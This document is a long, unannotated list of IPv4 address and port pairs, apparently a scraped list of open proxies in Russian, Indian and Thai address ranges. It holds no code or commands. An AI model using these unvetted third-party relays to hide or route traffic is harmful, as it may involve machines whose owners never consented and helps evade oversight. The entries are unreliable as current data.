37.139.85.66:35924 37.77.135.126:44497 5.16.10.226:8080 77.236.232.35:8080 77.37.249.149:35597 80.82.55.71:8080 81.163.47.136:8081 81.163.62.136:41258 81.5.103.14:8081 81.90.12.32:45482 82.114.241.138:8080 46.147.105.82:8080 82.208.111.100:52480 46.254.246.122:3130 46.254.247.61:3129 46.188.109.21:45952 83.97.108.8:41258 46.254.247.6:3129 62.213.14.166:8080 84.22.197.42:8080 46.52.213.194:61976 46.61.22.61:8080 46.235.71.241:8080 84.42.62.141:8080 46.61.24.249:3128 46.241.120.230:32412 84.52.83.70:52177 46.254.246.118:3130 85.175.216.32:53281 46.254.247.5:3130 46.8.247.3:30599 86.110.172.54:40512 5.133.111.174:3128 5.140.26.191:8080 86.62.121.26:8080 5.141.81.65:61853 5.16.0.79:8081 89.23.194.174:8080 89.237.32.193:37647 5.140.212.175:22129 89.250.19.173:8080 5.165.32.232:53281 5.167.29.137:53281 91.203.236.226:48975 91.214.240.19:58987 91.215.195.143:35050 91.220.166.148:39915 188.168.27.71:36733 188.187.62.173:8080 91.236.61.65:8080 188.235.255.70:32994 188.244.189.11:37746 92.43.152.1:8080 93.170.72.218:8080 77.79.181.133:53281 62.152.75.110:50287 78.157.254.42:3128 78.25.112.42:47373 62.176.12.111:8080 78.29.42.10:4550 94.141.60.69:80 79.122.164.82:8080 146.120.105.154:8080 94.251.81.118:8080 94.28.94.154:46966 80.240.115.254:37538 77.236.251.234:8080 80.82.55.71:80 31.10.76.42:8080 95.167.123.54:58664 31.148.48.151:41917 81.23.122.178:54082 95.181.45.234:55878 81.26.147.42:8080 31.28.99.25:38415 78.24.101.86:8080 95.30.220.43:37180 81.28.164.55:52658 31.42.254.24:30912 193.233.9.167:38155 95.71.126.250:55705 194.135.246.122:3128 79.111.119.213:37662 84.204.40.155:8080 81.163.62.221:32192 84.22.195.134:8080 212.74.218.66:40817 195.209.176.2:8080 84.237.21.153:3128 81.24.82.69:60518 84.237.21.153:3129 79.171.13.182:39282 46.150.170.10:53281 195.239.112.250:8080 85.21.63.219:53281 83.239.86.150:80 213.168.37.86:8080 195.239.115.106:44413 83.239.97.26:40039 158.255.51.213:61468 195.239.178.110:59138 195.34.241.85:8080 46.254.217.54:53281 46.39.245.204:61884 195.91.152.84:8080 195.98.78.180:50018 85.175.226.106:41175 81.17.150.122:8080 85.93.129.66:3128 86.110.189.118:56710 82.147.120.38:42128 82.194.235.142:8080 89.17.37.218:52957 82.194.235.162:8080 91.103.196.170:41258 83.219.1.80:31811 5.167.51.235:8080 89.109.8.160:21231 91.142.73.2:8080 83.97.111.202:41258 89.189.183.220:60731 91.109.157.41:53281 91.238.223.41:57420 91.205.131.102:8080 85.26.146.169:80 91.217.42.2:8080 91.217.42.3:8080 85.93.129.129:3128 91.238.248.197:53727 86.62.120.68:3128 171.25.164.123:58975 171.25.235.4:8080 87.255.13.217:8080 92.255.205.227:30359 87.76.11.57:55348 92.55.59.38:48006 93.95.100.149:80 94.180.106.94:32767 94.198.195.42:59444 94.28.123.59:8080 95.181.131.199:47673 90.188.35.190:8080 95.84.168.158:41655 91.142.72.7:8080 176.120.199.155:8080 62.106.122.92:53544 91.192.168.32:8080 62.176.1.194:32076 91.203.240.210:80 95.181.37.114:49318 95.215.97.203:33631 91.203.36.102:39084 91.205.131.110:58191 176.99.153.131:8081 91.205.146.25:37501 91.216.66.70:32306 77.232.186.2:8080 77.72.124.246:1080 176.212.114.139:39581 92.51.40.2:8080 77.94.122.19:31767 79.122.212.77:8080 79.143.225.152:38953 176.111.73.57:8081 37.123.222.124:8080 93.158.228.230:42249 176.117.255.182:53100 176.62.185.72:38403 176.120.221.115:8080 176.112.106.230:33996 94.230.119.144:43305 176.192.5.238:61227 37.192.241.247:8080 176.99.245.81:8081 94.24.233.74:32231 80.91.29.104:53281 94.28.71.246:8080 94.51.83.2:8080 81.162.56.154:8081 95.140.20.94:33994 81.163.33.92:8081 81.200.14.150:59803 81.89.113.142:55937 81.95.131.10:44292 95.31.5.29:54651 178.155.104.84:49515 82.147.116.201:41234 46.165.49.41:43516 82.147.120.32:35542 178.248.71.127:8080 46.254.246.125:3130 178.21.69.50:8080 46.254.246.66:3130 178.213.13.136:53281 212.109.195.109:3128 178.213.249.155:8080 178.46.164.108:8080 178.75.21.109:46612 213.234.238.52:8080 85.113.38.197:8080 5.149.144.102:4550 5.16.13.38:8080 85.143.202.32:8080 85.237.56.193:8080 86.110.27.165:3128 87.103.234.116:3128 89.207.92.146:37766 91.197.174.108:8080 91.220.135.146:41258 46.254.247.3:3129 46.32.68.188:39707 46.52.156.58:8080 92.255.248.230:45906 93.91.112.247:41258 94.127.217.66:40115 94.127.218.49:8080 5.189.193.44:42209 5.228.11.250:8080 5.23.103.98:33027 176.192.8.206:39422 176.56.23.14:35340 146.185.192.26:3128 95.131.91.130:60944 95.140.28.229:3128 95.172.62.114:49174 95.66.156.14:8080 95.79.109.144:33451 178.237.180.34:57307 95.79.55.196:53281 178.47.139.50:8080 62.182.52.82:54022 31.40.179.110:34284 62.173.145.48:3128 78.110.154.177:59888 78.140.7.239:38105 77.232.167.200:60943 77.233.10.37:54210 78.81.245.153:8080 79.111.118.43:8080 77.75.6.34:8080 82.147.120.41:60682 82.151.114.197:56208 83.167.120.32:80 83.219.1.201:41380 78.85.144.194:8081 83.239.151.138:54694 37.192.194.50:50165 84.42.62.141:80 80.89.133.210:3128 176.101.89.226:33470 87.229.143.10:48872 85.192.179.171:87 176.197.145.162:8080 85.235.190.18:42494 85.237.46.168:61124 176.62.188.158:56351 85.237.46.168:8888 89.237.35.10:37647 89.251.70.153:43716 87.255.27.163:3128 89.28.164.55:8080 88.205.232.66:8080 91.221.242.1:8080 89.20.43.222:8080 92.255.188.159:53281 90.188.18.199:3128 93.157.163.66:35081 93.170.113.159:59024 91.194.206.125:8080 46.0.203.186:8080 91.212.64.229:8080 94.180.249.187:38051 91.217.42.4:8080 91.224.166.43:80 94.230.243.6:8080 46.21.73.43:52481 46.229.187.169:53281 94.247.241.70:53640 94.25.104.250:8080 95.105.102.231:8080 95.167.157.82:39054 95.31.245.50:40816 95.80.98.41:8080 92.51.20.1:8080 176.110.121.90:21776 5.59.35.26:51722 176.196.240.34:53061 176.196.84.138:51336 176.226.240.215:8080 176.227.188.66:53281 94.140.208.226:8080 94.141.244.39:34919 178.205.254.106:8080 95.31.130.96:41463 178.57.115.124:8080 95.71.125.50:49882 95.79.36.55:44861 178.217.106.245:8080 62.106.122.90:36535 178.57.89.142:44321 77.50.244.252:3128 78.140.6.68:53281 78.37.27.139:34051 79.104.25.218:8080 79.122.164.83:8080 79.136.232.174:58992 79.171.13.166:33117 80.71.178.157:8080 80.91.17.113:41258 81.1.213.36:8080 81.30.208.11:8080 83.174.203.222:52154 84.52.76.91:41258 84.53.247.204:53281 85.143.254.20:8080 85.174.227.52:59280 86.110.191.166:8080 87.249.22.114:8080 89.19.199.152:53281 89.237.34.185:37647 89.250.149.114:60981 91.122.37.92:21213 91.142.72.2:8080 92.51.5.1:8080 94.127.144.179:51709 94.141.189.66:8080 94.141.60.69:8080 95.140.27.135:57969 95.161.188.246:40292 95.79.57.206:53281 134.0.113.87:3128 141.101.236.49:61853 178.69.191.120:34953 109.62.177.103:8080 212.24.53.118:3128 212.46.255.78:8080 212.22.95.35:3128 217.168.76.230:59021 217.23.176.215:50291 31.193.124.70:53281 31.40.136.209:53281 31.28.23.224:8080 5.137.224.62:8080 5.167.14.249:8080 5.158.123.153:3128 5.59.141.68:61602 62.33.207.197:3128 62.33.207.197:80 62.33.207.98:80 62.140.252.72:47766 62.106.126.87:3128 62.192.240.154:80 77.79.191.161:8080 77.94.110.194:8080 77.37.142.203:53281 79.137.254.51:36089 77.74.79.25:8080 81.163.43.57:41258 81.4.255.25:3128 81.163.57.147:41258 82.204.181.196:8080 81.163.36.210:34197 84.22.198.26:8080 83.221.200.154:8080 87.250.218.12:36570 87.103.131.124:45414 88.87.72.72:8080 87.241.241.183:40198 89.237.29.198:8080 87.228.37.246:8888 89.109.239.183:47837 87.76.10.119:4550 87.249.205.103:8080 89.250.17.209:8080 88.87.81.217:53743 91.230.11.164:8080 91.190.85.97:34286 91.213.23.110:8080 91.211.107.204:41258 92.241.234.141:33647 94.245.188.152:8080 94.232.11.178:55735 94.253.15.25:38417 95.213.229.42:80 95.140.30.148:40234 87.117.3.129:3128 146.120.196.25:8080 212.24.47.93:8080 1.186.40.177:54754 1.186.151.206:36253 182.19.41.145:80 182.18.177.114:56173 103.106.148.231:49590 103.103.212.25:53281 103.105.125.225:83 103.115.129.33:34235 103.12.246.10:8080 103.108.122.214:53281 103.112.212.10:83 103.194.242.254:60025 182.75.130.222:8080 103.108.98.1:55207 103.15.60.23:8080 103.199.156.49:40049 103.106.148.200:37621 182.73.65.26:44424 182.74.243.39:3128 103.205.15.129:8080 103.205.128.121:43037 103.199.157.161:40049 183.82.32.56:49551 103.21.160.120:35101 103.205.128.65:43037 103.199.159.145:40049 103.21.161.202:35101 103.212.128.228:36734 103.199.159.153:40049 103.135.39.68:8080 103.216.147.33:8080 103.208.152.34:37841 103.216.82.213:6666 103.199.159.169:40049 103.216.147.61:8080 103.209.89.67:8080 103.115.128.6:34235 103.220.42.187:58456 103.206.131.201:49509 182.72.92.222:8080 103.194.233.1:8080 103.220.42.166:58456 103.209.89.68:8080 183.87.14.250:44915 103.198.172.4:50820 103.21.163.81:6666 103.224.186.20:50621 103.216.82.206:6666 103.112.212.30:81 103.199.157.133:40052 103.224.48.113:8080 103.211.8.105:44581 103.134.111.90:8060 103.224.5.5:54143 103.224.48.33:8080 103.205.128.77:43037 103.224.48.17:8080 103.211.8.169:44581 103.206.248.116:32804 103.226.3.233:8080 103.215.200.125:8080 103.231.218.126:53281 103.115.129.89:34235 103.21.160.116:35101 103.216.144.201:8080 103.194.88.45:45027 103.117.213.76:36258 103.216.147.45:8080 103.216.147.49:8080 103.205.14.1:8080 103.216.169.33:8080 103.205.15.97:8080 103.211.8.213:44581 103.240.206.152:55740 103.240.206.196:35101 103.225.204.142:53281 103.216.147.53:8080 103.248.119.141:45276 103.194.234.129:8080 103.241.227.110:6666 103.250.158.21:6666 103.250.152.62:36664 103.216.82.18:6666 103.250.166.12:6666 103.250.166.4:6666 103.199.157.241:40049 103.216.82.199:6666 103.251.57.23:60083 103.216.82.209:54806 103.255.146.209:8080 103.216.82.50:53281 103.42.162.30:8080 103.24.124.81:8080 103.39.237.113:8080 103.240.161.101:6666 103.224.185.48:58596 103.47.93.208:51618 103.240.206.198:35101 103.224.48.41:8080 103.249.251.238:8080 103.231.218.30:43480 103.58.64.113:8080 103.25.168.22:44002 103.60.137.2:125 103.250.153.198:59451 103.60.137.2:38204 103.250.153.199:43369 103.60.137.2:41349 103.251.225.13:34052 103.240.168.138:60780 103.72.218.237:8080 103.241.227.99:54073 103.76.188.85:51052 103.243.132.58:34573 103.250.152.22:52572 103.250.166.12:47031 103.26.55.86:8080 103.26.56.113:8080 103.81.12.1:57803 103.40.48.129:84 103.60.137.2:16 103.60.137.2:2220 103.60.137.2:22217 103.60.137.2:24409 103.21.163.86:35101 103.42.89.69:53281 103.205.128.101:43037 103.211.152.242:54070 103.43.7.93:40030 103.36.126.14:43999 103.205.14.129:8080 103.211.8.189:44581 103.46.233.214:83 103.41.28.130:51408 103.75.162.68:53886 103.209.89.70:8080 103.216.169.253:8080 103.46.233.22:81 103.42.162.58:8080 103.76.190.210:49939 103.42.195.70:53281 103.216.169.129:8080 103.46.237.233:8080 103.53.72.20:61479 103.105.125.225:82 103.216.82.198:6666 103.47.92.66:8080 103.54.221.122:53281 103.81.214.1:84 103.46.233.198:83 103.105.125.6:83 103.216.95.16:61755 103.216.82.200:6666 103.47.93.226:51618 103.81.77.14:84 103.47.164.18:63141 103.105.126.30:83 103.224.48.73:8080 103.216.82.214:6666 103.58.116.118:8080 103.47.93.98:51618 103.105.40.145:16538 103.226.3.29:8080 103.216.82.216:44529 103.58.251.188:35510 103.88.221.105:35411 103.49.53.1:83 103.232.244.62:40137 103.216.82.29:6666 103.57.70.231:39856 103.60.137.2:37 103.232.245.209:40137 103.216.82.44:8080 103.60.137.2:33555 103.60.137.2:43246 103.90.206.110:8080 103.57.71.137:39856 103.65.194.2:37896 103.60.137.2:45602 103.90.45.225:8080 103.60.137.2:19171 103.60.137.2:53221 103.60.137.2:20252 103.60.137.2:61412 103.60.137.2:9081 103.24.191.118:8081 103.223.10.14:8080 103.60.137.2:8000 103.129.195.1:8080 103.240.161.59:48809 182.75.249.98:16538 103.61.101.74:40454 103.70.145.211:8080 103.241.141.234:8080 103.226.1.101:8080 103.75.33.195:49509 103.236.114.38:49638 103.76.190.193:49939 103.199.157.209:40052 103.24.126.97:8080 103.199.159.137:40049 103.79.251.49:61273 103.203.173.149:49068 103.250.153.202:54028 183.82.32.153:55011 103.79.251.81:61273 103.209.89.69:8080 103.250.153.242:31382 103.251.58.51:61489 103.79.251.97:61273 103.250.158.227:23500 103.79.35.176:43776 103.21.160.10:35101 103.250.166.17:6666 103.255.234.169:39847 103.211.8.225:44581 103.251.225.16:6666 103.87.207.188:59064 103.86.104.129:999 103.216.82.153:35101 103.35.132.145:36555 103.26.54.94:8080 103.216.82.196:51701 103.46.234.1:81 103.86.106.201:999 103.216.82.46:6666 103.47.239.153:39797 103.87.169.171:31094 103.220.42.162:58456 103.60.137.2:56842 103.90.44.1:8080 103.224.48.77:8080 103.73.183.27:8080 103.36.124.121:33921 110.172.135.234:40238 103.36.126.240:8080 110.235.198.25:46529 103.89.42.157:8080 103.232.245.33:43801 103.78.16.5:8080 103.40.48.137:84 103.99.196.173:34589 103.240.161.108:6666 103.79.74.193:53879 103.42.89.41:53281 103.46.233.22:83 103.241.227.118:6666 103.47.92.33:51618 103.81.215.9:82 103.243.134.1:34573 103.245.198.101:8080 103.60.137.2:14483 103.60.137.2:1557 103.99.196.10:34589 103.60.137.2:46678 103.250.157.46:37013 103.60.137.2:8082 103.253.211.182:8080 103.60.137.2:9381 103.254.58.48:53281 103.69.220.2:49433 103.35.132.50:36555 110.172.160.42:44047 103.36.81.19:49654 115.42.34.48:8080 103.39.236.205:8080 103.79.250.17:61273 115.42.35.152:9999 103.43.42.85:30477 103.79.74.1:53879 115.42.35.158:8080 103.46.233.45:83 115.42.35.99:8080 110.172.160.66:48449 103.47.93.102:8080 103.87.171.248:48642 103.47.93.217:51618 103.87.47.231:8080 103.60.137.2:31944 115.42.32.68:8080 103.89.253.249:3128 103.60.137.2:43385 115.42.33.91:8088 103.60.137.2:8123 115.42.34.80:8080 117.212.195.28:8080 103.70.145.124:8080 103.90.206.66:8080 117.212.89.168:8080 103.70.204.194:46351 117.239.30.251:60730 103.70.204.1:46351 110.232.249.155:8080 117.239.38.81:50376 103.72.216.194:38345 117.242.147.73:53983 103.75.161.38:21776 117.242.37.198:59296 117.252.68.27:8080 117.196.238.152:8080 103.8.40.129:55050 117.196.238.28:8080 117.197.42.186:8080 103.85.16.54:33046 117.212.93.173:8080 117.218.112.48:63141 117.242.154.73:33889 103.89.253.246:3128 117.255.220.241:8080 103.89.253.247:3128 210.16.85.134:83 103.90.201.70:3128 210.16.85.9:84 115.42.33.19:80 103.90.44.25:8080 115.42.33.242:8090 115.42.34.18:8080 103.98.79.225:36598 115.42.34.21:8080 115.42.35.205:4220 115.42.35.62:4220 118.185.252.132:8080 112.133.218.84:8080 115.42.33.212:9999 115.42.34.152:80 115.110.129.134:80 115.42.34.209:4220 115.42.35.195:8080 115.42.33.33:3128 115.42.33.45:80 115.42.33.69:8080 115.42.34.41:8080 119.235.54.3:8080 118.185.131.177:8080 117.204.255.13:8080 116.206.96.229:80 115.42.35.122:8080 117.208.148.72:3128 116.206.96.238:80 115.42.35.72:8000 117.220.198.197:8080 117.242.147.181:34281 119.42.152.181:55050 117.241.99.30:41064 117.242.188.87:8080 117.197.41.35:8080 117.206.149.234:8080 117.212.90.135:8080 117.193.126.194:8080 117.196.229.234:8080 117.196.229.5:8080 117.211.100.22:3128 117.212.192.76:8080 122.176.65.143:39710 115.42.34.69:8080 122.252.250.0:8080 117.197.43.70:61959 117.240.59.115:36127 117.254.57.17:8080 202.168.158.163:32307 119.235.53.135:38781 203.192.199.114:8080 119.235.49.186:36630 203.212.25.63:53281 125.62.213.18:83 125.62.213.77:83 125.99.247.113:35094 210.16.84.21:82 203.192.229.250:8080 119.161.98.131:3128 210.212.69.226:8080 125.62.193.241:82 125.62.193.89:83 123.108.201.18:84 125.62.198.65:84 125.62.213.65:82 210.16.84.102:83 122.252.253.206:60956 123.108.200.118:83 210.212.73.61:80 220.227.0.209:3128 125.62.193.5:83 125.62.198.97:84 125.62.206.1:83 125.62.213.9:83 43.246.139.82:8080 45.113.67.69:8080 45.117.74.113:8060 27.116.51.119:8080 45.250.226.14:3128 43.227.128.6:81 43.229.72.228:30516 45.248.139.140:8080 45.64.11.17:8080 43.225.164.59:56449 43.240.5.178:53281 43.241.131.105:8080 43.247.156.168:8080 45.112.201.235:8080 45.113.153.177:8080 45.117.74.97:8060 43.225.192.241:50878 45.123.25.77:37761 43.241.28.55:8080 43.242.230.177:8080 43.246.140.4:43091 45.112.57.230:61222 45.116.114.30:57768 45.248.27.49:8080 45.250.226.33:32488 45.124.144.145:8080 45.250.226.56:8080 45.124.145.34:8080 61.246.226.112:8080 49.249.251.86:53281 139.59.43.57:3128 202.3.72.50:56242 223.30.190.66:8080 125.62.213.30:8000 14.140.9.166:8080 125.99.100.193:40390 60.243.246.94:35094 139.59.73.89:80 14.102.40.169:44047 43.229.73.156:8080 27.116.51.115:8080 43.230.157.150:38256 43.230.196.98:36569 45.115.60.197:36899 203.192.217.11:8080 45.123.25.113:37761 125.18.107.201:46583 203.192.240.171:8888 45.125.61.209:32804 150.107.22.178:8080 125.62.213.242:83 45.248.138.150:8080 150.107.22.2:8080 45.248.42.200:8080 150.129.151.62:6666 115.42.33.176:80 150.107.22.94:8080 115.42.33.68:8080 115.42.34.105:4220 115.42.34.218:8080 210.16.87.109:81 115.42.34.31:8080 45.64.11.241:8080 115.42.35.61:8080 157.119.117.22:35522 157.119.207.36:6666 157.119.117.129:35522 117.200.48.94:8080 117.206.150.5:8080 117.240.158.52:8080 139.59.32.31:3128 117.242.147.85:55907 125.17.107.119:8080 14.102.69.170:53087 125.62.213.18:82 125.62.213.242:84 125.62.214.210:56865 150.107.20.171:8080 150.107.22.230:8080 125.62.193.17:82 150.107.22.81:8080 125.62.213.201:83 13.233.20.161:80 150.107.22.109:8080 157.119.207.13:6666 163.53.83.243:53281 163.53.209.7:6666 139.5.237.163:35411 14.141.73.10:8080 58.84.14.157:8080 202.138.127.66:80 150.107.22.209:8080 43.224.8.12:6666 43.229.72.249:50470 45.115.173.205:3128 202.91.89.164:61191 45.250.226.47:8080 210.16.85.149:83 210.16.85.98:83 49.248.17.94:8080 49.248.93.33:80 216.10.242.231:80 43.248.73.86:53281 45.112.20.57:83 45.112.200.170:39701 45.112.56.142:51618 45.121.29.254:54858 45.123.26.146:53281 223.196.69.74:55207 150.107.20.136:8080 150.107.243.18:41787 120.138.117.102:59308 122.102.28.162:53281 123.108.200.34:83 123.108.206.1:83 43.224.8.14:6666 43.229.74.167:23500 45.114.194.44:54511 45.117.64.3:8080 45.64.9.126:80 125.62.200.1:84 14.102.44.1:44047 150.107.22.118:8080 150.107.23.46:8080 150.107.23.51:8080 157.119.118.81:30734 180.211.97.204:42490 103.129.195.108:33059 117.212.89.162:8080 117.212.193.15:8080 117.197.41.135:8080 117.197.40.209:55145 117.206.83.26:41960 202.3.72.17:56242 36.255.84.110:82 36.255.84.110:83 36.255.85.154:83 36.255.85.228:84 36.255.86.229:82 36.255.86.231:82 36.255.85.227:83 36.255.86.231:83 36.255.85.229:84 36.255.85.229:82 43.241.28.248:8080 43.227.129.129:83 43.227.128.33:83 45.113.67.64:8080 45.114.75.100:8080 157.119.207.35:8080 116.206.96.229:8080 117.206.155.158:8080 180.233.148.74:8080 103.199.99.84:8080 1.0.187.108:8080 1.10.187.237:8080 1.10.188.42:48721 1.0.208.152:8080 1.0.128.102:8080 1.10.186.114:39727 1.1.167.133:8080 1.10.188.140:43327 1.10.188.52:32163 1.1.160.206:8080 1.10.189.126:57959 1.0.177.81:8080 1.10.188.132:8080 1.10.188.5:8080 1.10.141.220:54977 1.179.147.5:39330 1.179.206.201:50667 1.1.224.169:8083 1.10.188.85:8080 1.179.206.161:59033 101.109.143.71:36127 1.10.189.145:60545 1.20.217.149:8080 1.10.189.84:35138 1.20.100.133:46755 1.20.101.90:37006 1.20.99.178:34781 1.179.144.181:80 1.20.100.227:57396 1.20.102.68:8080 1.20.102.102:38816 1.20.156.243:80 1.20.217.221:8080 1.20.103.135:41594 1.20.100.93:34926 1.20.97.173:46790 1.4.198.13:80 1.20.172.100:8080 101.108.104.206:3128 1.20.97.122:44279 101.109.33.37:8080 101.108.3.207:8080 1.20.99.122:8080 101.108.111.67:8080 101.108.146.22:8080 101.109.107.237:8080 101.108.123.245:8080 101.109.142.149:8080 101.108.241.38:8080 101.109.255.97:47068 101.109.252.82:8081 101.109.255.243:44837 1.20.102.228:59611 101.109.195.207:8080 101.109.255.48:50620 101.109.87.206:8080 1.20.99.44:32119 101.51.199.105:8080 101.51.246.42:8080 101.51.137.102:80 101.51.137.96:80 101.51.121.171:8080 101.108.131.139:8080 101.51.141.46:37858 101.51.137.97:80 101.109.113.168:3128 182.52.229.165:8080 182.52.51.48:42511 101.51.245.110:8080 182.53.201.229:8080 182.52.51.155:38812 182.52.238.118:50390 183.88.213.25:57096 182.52.87.190:46437 182.52.238.119:40456 182.52.238.111:30098 183.89.110.18:8213 182.52.90.43:33326 182.52.51.19:32558 182.52.238.52:50619 182.52.91.252:8080 183.89.51.27:8080 182.53.197.22:36219 182.53.197.87:45743 182.52.31.58:8080 182.53.26.95:8081 182.53.206.40:8080 182.52.51.33:56059 183.89.10.163:8080 182.52.74.89:41334 183.89.12.135:8080 182.53.201.89:8080 183.88.1.168:8080 183.88.29.175:8080 182.53.96.215:47363 183.88.214.143:8080 183.88.75.186:8080 183.88.4.127:8080 183.89.145.229:8213 183.89.148.169:3128 183.88.109.237:8080 183.89.2.57:8213 183.88.244.87:8080 183.88.32.202:8080 183.89.159.85:8213 183.88.133.38:8080 184.82.128.211:8080 183.89.55.64:8080 183.88.232.204:8080 183.89.64.150:8080 183.88.237.226:8080 183.89.113.111:8080 183.89.149.158:8213 183.89.168.64:8080 184.82.227.96:8080 182.52.51.20:36262 182.52.51.35:60017 182.52.51.43:43858 182.52.51.4:55391 110.170.149.19:31253 110.49.49.119:8080 110.78.138.169:8213 183.88.40.44:8080 183.89.13.194:8080 183.89.14.78:8080 183.89.152.198:8080 113.53.234.78:8080 113.53.29.218:38362 113.53.82.92:39726 110.164.87.80:35844 202.139.192.55:8000 110.164.73.134:8080 110.170.74.201:3128 110.77.134.106:8080 202.29.237.250:8080 110.77.231.231:8080 110.78.153.49:3128 116.58.224.64:80 110.77.221.150:8080 203.113.103.54:8080 110.78.149.147:80 203.113.119.226:57417 203.150.149.49:8080 113.53.60.117:8080 110.78.81.107:8080 113.53.230.167:80 113.53.91.214:8080 118.173.232.219:57499 118.174.220.131:56183 202.29.237.213:3128 118.174.232.106:50491 118.174.65.140:48549 118.175.157.107:8080 110.164.95.246:8080 118.175.244.91:55716 118.173.232.160:39079 110.78.149.147:8080 118.173.232.5:34413 118.173.233.151:40025 118.174.232.212:8080 118.174.232.243:8080 118.174.232.44:38093 118.174.234.32:57403 118.174.46.162:8080 118.175.93.38:39850 119.110.204.62:80 113.53.255.222:8080 113.53.29.227:50779 122.154.56.252:3128 118.172.201.60:46896 122.154.66.193:8080 118.172.227.89:47290 202.139.192.55:8080 118.172.211.37:58728 118.172.51.110:36552 118.174.220.58:60547 118.173.233.150:35963 115.31.142.169:31368 118.174.232.92:45759 118.173.233.39:48988 122.154.103.68:8080 118.174.233.41:41469 118.174.220.133:50616 124.121.168.158:8080 118.174.234.83:38006 118.174.220.61:60070 124.122.254.42:8080 118.172.51.84:54552 118.175.93.148:59080 118.174.46.145:45330 118.173.233.37:45592 118.175.93.171:32866 118.175.31.64:42931 118.174.196.216:56697 202.29.228.142:58063 223.206.65.101:8080 118.175.31.67:42931 118.174.220.130:41419 202.183.201.13:8081 202.29.237.250:80 118.174.232.60:34772 118.175.207.205:61293 124.122.161.22:3128 118.175.93.94:30613 203.150.128.165:8080 203.150.113.176:8080 125.25.160.147:8080 203.150.172.151:8080 125.26.7.11:36082 203.172.185.122:53148 125.26.99.186:54193 119.42.67.134:8080 125.27.10.204:61143 118.173.233.149:45160 119.42.86.35:8080 118.173.233.31:59669 223.204.14.144:8080 119.42.98.103:8080 118.173.233.80:31559 223.205.122.252:8080 119.76.141.43:8080 118.175.207.180:40017 118.175.207.84:8080 118.175.244.111:8080 125.25.18.53:8080 125.25.54.65:57689 125.26.99.223:42890 125.26.99.241:54894 202.29.237.210:3128 203.113.103.54:80 119.76.132.127:8080 203.150.176.213:8080 122.154.151.202:8080 124.122.167.158:8080 125.24.111.76:8080 125.26.6.61:60121 223.27.194.66:80 27.145.236.109:8080 134.236.244.39:33496 223.27.194.66:63141 223.204.19.79:8080 223.205.76.213:8080 27.254.33.97:3128 49.49.1.245:8080 49.49.26.147:8080 61.19.35.14:8080 61.7.147.59:8080 61.7.213.225:8080 61.19.27.201:8080 61.19.40.50:61215 61.7.141.34:8080 61.7.184.85:8080 49.231.140.121:3128 49.231.16.226:8080 49.0.65.246:32 49.48.143.189:8080 125.25.45.167:41049 118.172.201.251:42287 125.25.80.39:42790 118.174.220.49:54910 119.42.85.163:8080 125.26.108.170:61637 118.174.232.128:45019 202.28.17.5:8080 125.26.7.115:30012 118.174.232.181:8080 125.26.99.212:51591 118.174.232.234:44618 118.174.46.146:45330 14.207.175.214:8080 118.175.13.182:8080 14.207.19.45:8080 118.175.207.38:8080 14.207.47.58:8080 61.7.174.5:53281 14.207.57.237:8080 61.91.79.40:34572 61.19.40.78:32489 14.207.47.164:8213 14.207.13.56:8213 203.150.128.47:8080 14.207.62.65:8080 14.207.136.62:8080 203.150.163.96:8080 27.131.157.94:8080 14.207.78.214:8080 14.207.18.195:8080 14.207.210.224:8213 14.207.43.66:8080 14.207.7.11:8080 113.53.60.117:80 125.25.57.33:57312 125.27.10.243:58219 125.27.251.24:36048 134.236.255.6:47488 134.196.244.120:46425 159.192.140.232:8080 159.192.96.96:8080 14.207.174.217:8213 159.192.96.96:80 14.207.4.195:8213 14.207.8.63:8213 159.192.101.137:80 125.26.99.185:34600 125.26.99.207:45724 125.27.179.88:36127 146.88.51.237:80 159.192.240.202:8080 125.27.251.243:8080 125.25.32.242:8080 14.207.196.82:8213 125.26.165.17:56257 14.207.59.67:8080 125.26.7.114:30638 14.207.9.194:8080 163.44.196.214:8080 125.27.251.79:60832 49.231.0.178:58023 223.206.153.238:8080 49.48.64.94:8080 134.236.247.137:8080 159.192.223.165:8080 171.5.18.138:8080 171.6.141.243:8213 171.6.158.250:8213 159.192.206.234:8080 14.207.0.192:8213 171.6.174.216:8213 159.192.243.166:8080 14.207.13.203:8213 171.96.148.134:8080 14.207.136.215:8081 14.207.212.182:8213 171.97.202.153:8213 14.207.171.114:8213 14.207.97.110:8213 14.207.202.219:8080 14.207.57.13:8080 171.100.87.89:8213 171.100.2.154:8080 171.100.221.188:8080 171.6.133.239:8213 171.6.163.222:8213 171.6.165.200:8213 171.97.203.31:8213 171.6.130.77:8213 171.97.81.121:8213 171.6.142.99:8213 171.6.144.67:8213 171.6.145.77:8213 202.183.201.11:8081 171.6.152.83:8213 202.28.17.8:8080 171.6.173.47:8213 202.29.237.212:3128 171.6.173.83:8213 171.100.43.122:8080 171.100.90.128:8080 171.6.133.80:8213 159.192.138.170:8080 159.192.138.230:8080 159.192.237.219:8080 171.100.221.55:8213 171.101.124.109:8118 171.6.164.110:8213 171.6.165.242:8213 171.97.89.100:8213 180.180.156.60:58169 180.183.115.83:8213 180.183.120.147:8080 180.183.121.245:8213 180.183.121.37:8213 180.183.192.227:8080 180.183.48.142:8080 180.183.100.36:8213 180.183.65.192:8080 180.183.2.48:8080 180.183.99.177:8080 180.183.247.10:8080 43.229.79.227:8080 180.183.123.97:8080 180.183.194.86:3128 180.183.48.139:8081 180.183.74.101:8080 180.183.9.244:8213 49.0.65.246:28 118.172.201.32:42815 180.180.156.15:43100 118.173.232.68:35573 180.183.123.179:8213 118.174.196.130:8080 27.145.61.59:8080 146.88.51.234:80 180.183.132.70:8213 118.175.207.129:48139 180.183.224.66:8080 118.175.31.65:42931 180.183.225.54:8080 118.175.31.66:42931 180.183.67.10:8088 58.82.154.4:8080 61.19.154.12:8080 61.91.183.86:80 61.19.145.66:8080 61.19.151.170:8080 180.180.170.188:8080 180.183.121.168:8213 119.42.112.133:8080 171.100.219.121:8080 180.183.68.91:8088 171.100.87.10:8213 159.192.104.53:8080 171.6.134.163:8213 159.192.142.42:8080 171.6.147.52:8213 159.192.97.80:43278 171.6.153.115:8213 171.97.16.157:8213 171.99.204.121:8118 171.100.57.134:8080 171.6.135.134:8213 171.6.146.17:8213 171.6.190.189:8213 49.0.65.246:202 49.48.139.181:8080 125.25.82.191:8080 125.26.162.94:8080 125.26.7.124:61642 125.27.251.124:45861 125.27.251.57:41425 180.183.123.163:8213 180.183.41.58:8213 61.7.183.61:8080 180.183.132.187:8080 180.183.20.254:8080 180.183.226.143:8080 180.183.74.52:8080 180.183.99.252:8213 14.207.100.24:8213 14.207.41.26:8080 146.88.51.235:80 159.192.141.89:8080 159.192.97.181:23500 171.101.124.45:8118 171.6.146.156:8213 171.6.163.64:8213 171.97.122.153:8213 